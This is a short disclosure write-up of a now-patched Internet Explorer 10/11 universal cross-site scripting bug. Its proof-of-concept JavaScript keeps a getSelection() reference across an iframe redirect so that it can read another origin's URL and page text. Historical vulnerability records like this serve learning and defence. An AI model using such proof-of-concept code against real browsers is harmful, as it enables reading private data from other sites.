UXSS via iFrame getSelection After Redirect

Saving a reference to the getSelection() object of an iFrame before it redirects, along with any member of that object, keeps the selection live. After the redirect, accessing anchorNode on the saved selection returns the document of the redirected page.

var oSelection;

function main() {
    document.getElementById("myDiv").innerHTML = '<iframe onload="accessSelection()" src="redirect.aspx" width="600" height="200"></iframe>';

    window[0].document.appendChild(window[0].document.createElement("body"));
    window[0].document.execCommand("SelectAll");
    oSelection = window[0].getSelection(); // Save a pointer to a getSelection() object.
    oAnyMember = oSelection.constructor;   // Save any member of it (won't be used directly).

    window[0].execScript('alert("Wait a moment, please...")');
}

function accessSelection() {
    alert(oSelection.anchorNode.URL + "\n\n" + oSelection.anchorNode.body.innerText);
}

The execScript alert in the iFrame provides the timing delay. When the iFrame’s onload fires after the redirect, accessSelection reads the redirected page’s URL and body text via oSelection.anchorNode, which resolves to the iFrame’s document. The saved oAnyMember reference is what keeps the selection object alive. Tested on IE10 / IE11 build 20130312-2100.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.